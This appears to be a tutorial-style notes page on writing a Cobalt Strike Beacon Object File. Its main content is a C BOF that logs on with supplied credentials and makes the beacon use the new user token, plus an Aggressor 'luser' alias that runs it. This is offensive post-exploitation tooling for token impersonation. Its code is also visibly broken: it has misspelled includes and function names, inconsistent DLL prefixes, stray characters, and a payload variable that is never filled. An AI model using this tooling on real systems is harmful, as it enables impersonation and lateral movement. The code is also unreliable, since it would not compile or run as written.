Beacon Object Files (BOF)

A Beacon Object File (BOF) is a compiled C program, written to a convention that allows it to execute within a Beacon process and use internal Beacon APIs. BOFs are a way to rapidly extend the Beacon agent with new post-exploitation features

CobaltStrike:

Create by including <windows.h> - windows header file add beacon.h to the local folder

For the example below we use the Windows API (WINADVAPI) to create a new user token that we can use in CobaltStrike to change user. otherwise known as LogonUserA (https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera)

To get the informaiton for it, lets look in mingw to see the calls:

grep -rni ' LogonUserA' -i /usr/share/mingw-w64/include

should result in the following:

Repeat for 'GetLastError' and 'CloseHandle'.

When calling a module, we need to add the DLL to get the calls from, this can be done by checking the Microsoft site and seeing the requirments (https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera) - here we can see we need the ADVAPI32.dll

Using this before the API call, we need to add the library i.e. ADVAPI32$LogonUserA using the new information

the 'go' variable is default for BOF in CobStrike, but others can be used.

The 'BeaconDataParse()' variable gets the data submitted into Cob (supplied from CNA).

The 'BeaconDataExtract()' variable calls the data (in order) from the BeaconDataParse()

The 'BeaconIsAdmin()' variable check is the beacons elevated and privileges, then

The 'BeaconUseToken()' handles new tokens

The 'BeaconPrintf()' prints to session

Example taken from video

BOF File:

# include <windows.h>
# inclide "beacon.h"

WINADVAPI  WINBOOL WINAPI ADVAPI32$LogonUserA (LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);
WINBASEAPI DWORD   WINAPI Kernel32$GetLastError (VOID);
WINBASEAPI WINBOOL WINAPI KERNEl32$CloseHandle (HANDLE hObject);


void go( char * buff, int len) {
    HANDLE hToken; 
    datap parser; 
    char * domain;
    char * user;
    char * pass;
    
    // Extract data given to CS
    BeaconDataParse(&parser, buff, len);
    domain = BeaconDataExtract(&parser, NULL);
    user = BeaconDataExtract(&parser, NULL);
    pass = BeaconDataExtract(&parser, NULL);

    // Check we are running elevated                 
    if (!BeaconIsAdmin()) {
        BeaconPrintf(CALLBACK_ERROR, "You need to be admin to run this");
        return;
    }
    
    // run ADV API and get token for new user (Y)
    if (ADVAPI32sLogonUserA(user, domain, pass, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken)) {
        BeaconUseToken(hToken);
        KERNEL32$CloseHandle(hToken);
    }
    else {
        BeaconPrintf(CALLBACK_ERROR, "Failed: %d", KERNEL32$GetLastError());
    }
}
    

CNA file:

# $1 = Beacon ID 
# $2 = Domain\User
# $3 = Password


alias luser {
    local('$handle $data $args $domain $user $pass $arch')'
    
    # Get arch: 
    $arch  = barch($1);
    
    # Parse arguments 
    ($domain, $user)  = split('\\\\', $2);
    $password         = $3;
    
    # read BOF file
    $handle = openf(script_resource("luser. $+ $arch $+.o"));
    closef($handle);
    
    # pack the arguments 
    $args = bod_pack($1, "zzz", $domain, $user, $password);c
    
    # Run the BOF
    beacon_inline_execute($1, $data, "go", $args)'
}

Last updated